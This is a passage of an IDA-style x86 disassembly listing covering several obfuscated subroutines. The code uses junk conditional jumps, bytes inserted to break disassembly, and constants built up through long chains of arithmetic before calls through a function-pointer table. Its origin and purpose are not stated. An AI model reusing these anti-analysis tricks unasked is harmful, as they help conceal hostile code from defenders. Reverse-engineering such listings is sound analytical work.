add cl, 0Ch dec cl dec cl dec cl dec cl dec cl dec cl sub cl, 10h sub cl, 1 dec cl dec cl dec cl dec cl dec cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 jo short loc_4A059A jl short loc_4A0598 loc_4A0593: ; CODE XREF: sub_4A0499:loc_4A0598j ; sub_4A0499:loc_4A059Aj jmp short loc_4A059C ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4A0598: ; CODE XREF: sub_4A0499+F8j jz short loc_4A0593 loc_4A059A: ; CODE XREF: sub_4A0499+F6j jmp short loc_4A0593 ; --------------------------------------------------------------------------- loc_4A059C: ; CODE XREF: sub_4A0499:loc_4A0593j and al, cl pop ecx pop ebx neg eax sbb eax, eax inc eax mov ecx, eax push ecx mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1Fh pop ebx jo short loc_4A05C2 jl short loc_4A05C0 loc_4A05BB: ; CODE XREF: sub_4A0499:loc_4A05C0j ; sub_4A0499:loc_4A05C2j jmp short loc_4A05C4 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4A05C0: ; CODE XREF: sub_4A0499+120j jz short loc_4A05BB loc_4A05C2: ; CODE XREF: sub_4A0499+11Ej jmp short loc_4A05BB ; --------------------------------------------------------------------------- loc_4A05C4: ; CODE XREF: sub_4A0499:loc_4A05BBj sub bl, 5 dec bl push eax dec bl dec bl and eax, 41h dec bl sub bl, 12h sub bl, 3 pop eax dec bl and al, bl mov edx, 1500h dec dh sub dh, 7 dec dh sub dh, 3 dec dh jo short loc_4A05FA jl short loc_4A05F8 loc_4A05F3: ; CODE XREF: sub_4A0499:loc_4A05F8j ; sub_4A0499:loc_4A05FAj jmp short loc_4A05FC ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4A05F8: ; CODE XREF: sub_4A0499+158j jz short loc_4A05F3 loc_4A05FA: ; CODE XREF: sub_4A0499+156j jmp short loc_4A05F3 ; --------------------------------------------------------------------------- loc_4A05FC: ; CODE XREF: sub_4A0499:loc_4A05F3j and ah, dh pop ebx pop edx neg eax sbb eax, eax inc eax pop ecx cmp ecx, eax jnz short loc_4A0610 and eax, 0 inc eax jmp short loc_4A0613 ; --------------------------------------------------------------------------- loc_4A0610: ; CODE XREF: sub_4A0499+7Bj ; sub_4A0499+16Fj and eax, 0 loc_4A0613: ; CODE XREF: sub_4A0499+175j mov [ebp+var_C], eax mov ecx, dword_4ED3F4 xor ecx, dword_4ED3F8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A0636 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A0636: ; CODE XREF: sub_4A0499+192j mov eax, [ebp+var_8] push eax call off_4F1D4C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A0499 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A064A proc near ; DATA XREF: sub_4965D8+14D1o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DE0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1E00h pop ebx jo short loc_4A0680 jl short loc_4A067E loc_4A0679: ; CODE XREF: sub_4A064A:loc_4A067Ej ; sub_4A064A:loc_4A0680j jmp short loc_4A0682 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4A067E: ; CODE XREF: sub_4A064A+2Dj jz short loc_4A0679 loc_4A0680: ; CODE XREF: sub_4A064A+2Bj jmp short loc_4A0679 ; --------------------------------------------------------------------------- loc_4A0682: ; CODE XREF: sub_4A064A:loc_4A0679j sub bh, 4 dec bh push eax dec bh dec bh jo short loc_4A0697 jl short loc_4A0695 loc_4A0690: ; CODE XREF: sub_4A064A:loc_4A0695j ; sub_4A064A:loc_4A0697j jmp short loc_4A0699 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4A0695: ; CODE XREF: sub_4A064A+44j jz short loc_4A0690 loc_4A0697: ; CODE XREF: sub_4A064A+42j jmp short loc_4A0690 ; --------------------------------------------------------------------------- loc_4A0699: ; CODE XREF: sub_4A064A:loc_4A0690j and eax, 40h sub bh, 13h sub bh, 3 pop eax dec bh and ah, bh mov edx, 12h dec dl jo short loc_4A06B9 jl short loc_4A06B7 loc_4A06B2: ; CODE XREF: sub_4A064A:loc_4A06B7j ; sub_4A064A:loc_4A06B9j jmp short loc_4A06BB ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4A06B7: ; CODE XREF: sub_4A064A+66j jz short loc_4A06B2 loc_4A06B9: ; CODE XREF: sub_4A064A+64j jmp short loc_4A06B2 ; --------------------------------------------------------------------------- loc_4A06BB: ; CODE XREF: sub_4A064A:loc_4A06B2j sub dl, 1 dec dl sub dl, 7 dec dl dec dl sub dl, 2 jo short loc_4A06D5 jl short loc_4A06D3 loc_4A06CE: ; CODE XREF: sub_4A064A:loc_4A06D3j ; sub_4A064A:loc_4A06D5j jmp short loc_4A06D7 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4A06D3: ; CODE XREF: sub_4A064A+82j jz short loc_4A06CE loc_4A06D5: ; CODE XREF: sub_4A064A+80j jmp short loc_4A06CE ; --------------------------------------------------------------------------- loc_4A06D7: ; CODE XREF: sub_4A064A:loc_4A06CEj and al, dl pop ebx pop edx neg eax sbb eax, eax inc eax mov [ebp+var_C], eax mov ecx, dword_4ED410 xor ecx, dword_4ED414 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A0703 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A0703: ; CODE XREF: sub_4A064A+AEj mov eax, [ebp+var_8] push eax call off_4F1D68 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A064A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A0717 proc near ; DATA XREF: sub_4965D8+126Do var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DE0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx push 800h pop ecx dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch and ah, ch mov cl, 10h dec dl sub cl, 2 dec dl sub cl, 3 dec cl dec dl dec cl dec cl dec dl dec cl dec dl dec cl sub cl, 1 dec cl and al, cl pop ecx pop ebx test eax, eax jz short loc_4A0785 not eax add eax, 1 stc jmp short loc_4A078B ; --------------------------------------------------------------------------- loc_4A0785: ; CODE XREF: sub_4A0717+64j not eax add eax, 1 clc loc_4A078B: ; CODE XREF: sub_4A0717+6Cj sbb eax, eax neg eax mov [ebp+var_C], eax mov ecx, dword_4ED410 xor ecx, dword_4ED414 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A07B2 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A07B2: ; CODE XREF: sub_4A0717+90j mov eax, [ebp+var_8] push eax call off_4F1D68 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A0717 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A07C6 proc near ; DATA XREF: sub_4965D8+718o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DC0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov dh, 2 sub dh, 0FFh dec dh sub dh, 0FFh dec dh sub dh, 0FFh sub dh, 1 sub dh, 1 dec dh and ah, dh mov edx, 800h mov dl, 0Fh sub dl, 0FFh sub dl, 0FFh sub dl, 0FFh inc dl sub dl, 0Ah sub dl, 0FFh dec dl sub dl, 0FFh sub dl, 5 inc dl dec dl dec dl dec dl dec dl sub dl, 3 sub dl, 0FFh dec dl inc dl inc dl and al, dl not ah not ah pop edx neg eax sbb eax, eax inc eax mov [ebp+var_C], eax mov ecx, dword_4ED3F0 xor ecx, dword_4ED3F4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A0861 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A0861: ; CODE XREF: sub_4A07C6+90j mov eax, [ebp+var_8] push eax call off_4F1D48 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A07C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A0875 proc near ; DATA XREF: sub_4965D8+A48o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D90 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, [ebp+arg_4] mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh xor bh, 3 and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 98h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 0Ch not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3C0 xor ecx, dword_4ED3C4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A0905 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A0905: ; CODE XREF: sub_4A0875+85j mov eax, [ebp+var_8] push eax call off_4F1D18 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A0875 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A0919 proc near ; DATA XREF: sub_4965D8+1339o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DCC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, [ebp+arg_4] mov ebx, 0FFFFh and eax, ebx push ecx push 4 pop ecx dec cl dec cl dec cl dec cl and al, cl mov bh, 0Dh xor bl, bl dec bh dec bh dec bh dec bh dec bh dec bh sub bh, 1 dec bh add bh, 4 inc bh sub bh, 1 dec bh and ah, bh pop ecx pop ebx test eax, eax jz short loc_4A097D not eax add eax, 1 stc jmp short loc_4A0983 ; --------------------------------------------------------------------------- loc_4A097D: ; CODE XREF: sub_4A0919+5Aj not eax add eax, 1 clc loc_4A0983: ; CODE XREF: sub_4A0919+62j sbb eax, eax neg eax mov [ebp+var_C], eax mov ecx, dword_4ED3FC xor ecx, dword_4ED400 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A09AA mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A09AA: ; CODE XREF: sub_4A0919+86j mov eax, [ebp+var_8] push eax call off_4F1D54 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A0919 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A09BE proc near ; DATA XREF: sub_4965D8+415o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D84 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] jo short loc_4A09E3 jl short loc_4A09E1 loc_4A09DE: ; CODE XREF: sub_4A09BE:loc_4A09E1j ; sub_4A09BE:loc_4A09E3j jmp short loc_4A09E5 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4A09E1: ; CODE XREF: sub_4A09BE+1Ej jz short loc_4A09DE loc_4A09E3: ; CODE XREF: sub_4A09BE+1Cj jmp short loc_4A09DE ; --------------------------------------------------------------------------- loc_4A09E5: ; CODE XREF: sub_4A09BE:loc_4A09DEj push edx mov dh, 0Eh dec dh dec dh dec dh dec dh dec dh dec dh dec dh dec dh dec dh dec dh jo short loc_4A0A05 jl short loc_4A0A03 loc_4A0A00: ; CODE XREF: sub_4A09BE:loc_4A0A03j ; sub_4A09BE:loc_4A0A05j jmp short loc_4A0A07 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4A0A03: ; CODE XREF: sub_4A09BE+40j jz short loc_4A0A00 loc_4A0A05: ; CODE XREF: sub_4A09BE+3Ej jmp short loc_4A0A00 ; --------------------------------------------------------------------------- loc_4A0A07: ; CODE XREF: sub_4A09BE:loc_4A0A00j dec dh sub dh, 1 add dh, 0FEh and ah, dh mov dl, 1 and al, dl not ah not ah pop edx neg eax sbb eax, eax inc eax mov [ebp+var_C], eax mov ecx, dword_4ED3B4 xor ecx, dword_4ED3B8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A0A42 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A0A42: ; CODE XREF: sub_4A09BE+79j mov eax, [ebp+var_8] push eax call off_4F1D0C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A09BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A0A56 proc near ; DATA XREF: sub_4965D8+61Fo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DB8 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1Fh pop ebx jo short loc_4A0A89 jl short loc_4A0A87 loc_4A0A82: ; CODE XREF: sub_4A0A56:loc_4A0A87j ; sub_4A0A56:loc_4A0A89j jmp short loc_4A0A8B ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4A0A87: ; CODE XREF: sub_4A0A56+2Aj jz short loc_4A0A82 loc_4A0A89: ; CODE XREF: sub_4A0A56+28j jmp short loc_4A0A82 ; --------------------------------------------------------------------------- loc_4A0A8B: ; CODE XREF: sub_4A0A56:loc_4A0A82j sub bl, 5 dec bl push eax dec bl dec bl and eax, 41h dec bl sub bl, 12h sub bl, 3 pop eax dec bl and al, bl mov edx, 1500h dec dh sub dh, 3 dec dh sub dh, 7 dec dh and ah, dh pop ebx pop edx neg eax sbb eax, eax inc eax mov [ebp+var_C], eax mov ecx, dword_4ED3E8 xor ecx, dword_4ED3EC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A0AE2 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A0AE2: ; CODE XREF: sub_4A0A56+81j mov eax, [ebp+var_8] push eax call off_4F1D40 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A0A56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A0AF6 proc near ; DATA XREF: sub_4965D8+19o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D78 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, [ebp+arg_4] mov edx, 0FFFFh and eax, edx push ebx push 100h pop ebx dec bh jo short loc_4A0B2F jl short loc_4A0B2D loc_4A0B2A: ; CODE XREF: sub_4A0AF6:loc_4A0B2Dj ; sub_4A0AF6:loc_4A0B2Fj jmp short loc_4A0B31 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4A0B2D: ; CODE XREF: sub_4A0AF6+32j jz short loc_4A0B2A loc_4A0B2F: ; CODE XREF: sub_4A0AF6+30j jmp short loc_4A0B2A ; --------------------------------------------------------------------------- loc_4A0B31: ; CODE XREF: sub_4A0AF6:loc_4A0B2Aj add bh, 0FFh add bh, 0FFh add bh, 0FFh add bh, 0FFh inc bh inc bh inc bh inc bh and ah, bh jo short loc_4A0B50 jl short loc_4A0B4E loc_4A0B4B: ; CODE XREF: sub_4A0AF6:loc_4A0B4Ej ; sub_4A0AF6:loc_4A0B50j jmp short loc_4A0B52 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4A0B4E: ; CODE XREF: sub_4A0AF6+53j jz short loc_4A0B4B loc_4A0B50: ; CODE XREF: sub_4A0AF6+51j jmp short loc_4A0B4B ; --------------------------------------------------------------------------- loc_4A0B52: ; CODE XREF: sub_4A0AF6:loc_4A0B4Bj mov bl, 17h sub bl, 9 dec bl dec bl dec bl sub bl, 4 dec bl dec bl dec bl and al, bl pop ebx pop edx test eax, eax jz short loc_4A0B76 not eax add eax, 1 stc jmp short loc_4A0B7C ; --------------------------------------------------------------------------- loc_4A0B76: ; CODE XREF: sub_4A0AF6+76j not eax add eax, 1 clc loc_4A0B7C: ; CODE XREF: sub_4A0AF6+7Ej sbb eax, eax inc eax dec eax jo short loc_4A0B8B jl short loc_4A0B89 loc_4A0B84: ; CODE XREF: sub_4A0AF6:loc_4A0B89j ; sub_4A0AF6:loc_4A0B8Bj jmp short loc_4A0B8D ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4A0B89: ; CODE XREF: sub_4A0AF6+8Cj jz short loc_4A0B84 loc_4A0B8B: ; CODE XREF: sub_4A0AF6+8Aj jmp short loc_4A0B84 ; --------------------------------------------------------------------------- loc_4A0B8D: ; CODE XREF: sub_4A0AF6:loc_4A0B84j inc eax dec eax jo short loc_4A0B9A jl short loc_4A0B98 loc_4A0B93: ; CODE XREF: sub_4A0AF6:loc_4A0B98j ; sub_4A0AF6:loc_4A0B9Aj jmp short loc_4A0B9C ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4A0B98: ; CODE XREF: sub_4A0AF6+9Bj jz short loc_4A0B93 loc_4A0B9A: ; CODE XREF: sub_4A0AF6+99j jmp short loc_4A0B93 ; --------------------------------------------------------------------------- loc_4A0B9C: ; CODE XREF: sub_4A0AF6:loc_4A0B93j inc eax dec eax inc eax dec eax jo short loc_4A0BAB jl short loc_4A0BA9 loc_4A0BA4: ; CODE XREF: sub_4A0AF6:loc_4A0BA9j ; sub_4A0AF6:loc_4A0BABj jmp short loc_4A0BAD ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4A0BA9: ; CODE XREF: sub_4A0AF6+ACj jz short loc_4A0BA4 loc_4A0BAB: ; CODE XREF: sub_4A0AF6+AAj jmp short loc_4A0BA4 ; --------------------------------------------------------------------------- loc_4A0BAD: ; CODE XREF: sub_4A0AF6:loc_4A0BA4j inc eax mov [ebp+var_C], eax mov ecx, dword_4ED3A8 xor ecx, dword_4ED3AC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A0BD1 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A0BD1: ; CODE XREF: sub_4A0AF6+D0j mov eax, [ebp+var_8] push eax call off_4F1D00 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A0AF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A0BE5 proc near ; DATA XREF: sub_4965D8+1515o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D84 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, [ebp+arg_4] mov edx, 0FFFFh and eax, edx push ebx push eax dec bh ja short $+2 dec bh dec bh dec bh and eax, 41h bswap ecx and eax, 0 jno short $+2 mov bl, 85h sub bl, 20h dec bl dec bl sub bl, 1Ah dec bl sub bl, 1Fh not bx inc eax dec bl dec bl dec bl pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3B4 xor ecx, dword_4ED3B8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A0C61 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A0C61: ; CODE XREF: sub_4A0BE5+71j mov eax, [ebp+var_8] push eax call off_4F1D0C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A0BE5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A0C75 proc near ; DATA XREF: sub_4965D8+97Co var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D88 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push eax mov eax, 4 bswap eax not eax pop eax push edx mov dh, 80h mov dh, 0 inc dh mov ecx, ecx inc dh inc dh inc dh inc dh push ebx inc dh push ecx bswap ecx not ecx push eax not eax mov eax, 800h xchg eax, ecx mov ecx, 40h xchg eax, ecx not eax pop eax not ecx pop ecx inc dh inc dh and ebx, 800h inc dh inc dh inc dh inc dh and ebx, 10h inc dh inc dh pop ebx sub dh, 0Dh dec dh and ah, dh mov dl, 5 sub dl, 0FFh dec dl dec dl dec dl sub dl, 0FFh dec dl dec dl dec dl and al, dl pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3B8 xor ecx, dword_4ED3BC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A0D25 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A0D25: ; CODE XREF: sub_4A0C75+A5j mov eax, [ebp+var_8] push eax call off_4F1D10 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A0C75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A0D39 proc near ; DATA XREF: sub_4965D8+11FCo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DE4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 87h sub bl, 5 dec bl dec bl dec bl and eax, 0 dec bl dec bl sub bl, 1Ah dec bl dec bl inc eax sub bl, 1Fh not bx bswap eax not bx bswap eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED414 xor ecx, dword_4ED418 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A0DC0 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A0DC0: ; CODE XREF: sub_4A0D39+7Cj mov eax, [ebp+var_8] push eax call off_4F1D6C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A0D39 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A0DD4 proc near ; DATA XREF: sub_4965D8+C7Fo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DC0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] jo short loc_4A0DF9 jl short loc_4A0DF7 loc_4A0DF4: ; CODE XREF: sub_4A0DD4:loc_4A0DF7j ; sub_4A0DD4:loc_4A0DF9j jmp short loc_4A0DFB ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4A0DF7: ; CODE XREF: sub_4A0DD4+1Ej jz short loc_4A0DF4 loc_4A0DF9: ; CODE XREF: sub_4A0DD4+1Cj jmp short loc_4A0DF4 ; --------------------------------------------------------------------------- loc_4A0DFB: ; CODE XREF: sub_4A0DD4:loc_4A0DF4j push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 74h sub cl, 8 dec cl sub cl, 6 not al bswap ecx not al bswap ecx dec cl dec cl sub cl, 10h dec cl dec cl add cl, 0Ch dec cl dec cl dec cl dec cl dec cl dec cl dec cl sub cl, 10h sub cl, 1 dec cl dec cl dec cl dec cl dec cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 jo short loc_4A0E76 jl short loc_4A0E74 loc_4A0E71: ; CODE XREF: sub_4A0DD4:loc_4A0E74j ; sub_4A0DD4:loc_4A0E76j jmp short loc_4A0E78 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_4A0E74: ; CODE XREF: sub_4A0DD4+9Bj jz short loc_4A0E71 loc_4A0E76: ; CODE XREF: sub_4A0DD4+99j jmp short loc_4A0E71 ; --------------------------------------------------------------------------- loc_4A0E78: ; CODE XREF: sub_4A0DD4:loc_4A0E71j and al, cl mov eax, eax pop ecx neg eax sbb eax, eax neg eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3F0 xor ecx, dword_4ED3F4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A0EA7 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A0EA7: ; CODE XREF: sub_4A0DD4+C8j mov eax, [ebp+var_8] push eax call off_4F1D48 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A0DD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A0EBB proc near ; DATA XREF: sub_4965D8+B85o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D98 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx mov ecx, 800h mov ecx, 4Bh not ecx bswap eax not ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx dec ecx inc ecx inc cl inc cl inc cl inc cl inc cl inc cl inc cl add ecx, 0Dh inc cl inc cl inc cl inc cl dec cl dec cl dec cl dec cl inc cl add ecx, 0Ah dec ecx push edx mov edx, 4 add ecx, edx inc ecx pop edx bswap eax add ecx, 3 and eax, ecx pop ecx neg eax sbb eax, eax inc eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3C8 xor ecx, dword_4ED3CC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A0F5B mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A0F5B: ; CODE XREF: sub_4A0EBB+95j mov eax, [ebp+var_8] push eax call off_4F1D20 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A0EBB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A0F6F proc near ; DATA XREF: sub_4965D8+789o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DE0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov dh, 2 dec dh dec dh and ah, dh mov dl, 0Eh sub dl, 0FFh jo short loc_4A0FA2 jl short loc_4A0FA0 loc_4A0F9D: ; CODE XREF: sub_4A0F6F:loc_4A0FA0j ; sub_4A0F6F:loc_4A0FA2j jmp short loc_4A0FA4 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4A0FA0: ; CODE XREF: sub_4A0F6F+2Cj jz short loc_4A0F9D loc_4A0FA2: ; CODE XREF: sub_4A0F6F+2Aj jmp short loc_4A0F9D ; --------------------------------------------------------------------------- loc_4A0FA4: ; CODE XREF: sub_4A0F6F:loc_4A0F9Dj sub dl, 0FFh sub dl, 0FFh sub dl, 0Ah sub dl, 0FFh sub dl, 0FFh sub dl, 5 dec dl jo short loc_4A0FC1 jl short loc_4A0FBF loc_4A0FBC: ; CODE XREF: sub_4A0F6F:loc_4A0FBFj ; sub_4A0F6F:loc_4A0FC1j jmp short loc_4A0FC3 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4A0FBF: ; CODE XREF: sub_4A0F6F+4Bj jz short loc_4A0FBC loc_4A0FC1: ; CODE XREF: sub_4A0F6F+49j jmp short loc_4A0FBC ; --------------------------------------------------------------------------- loc_4A0FC3: ; CODE 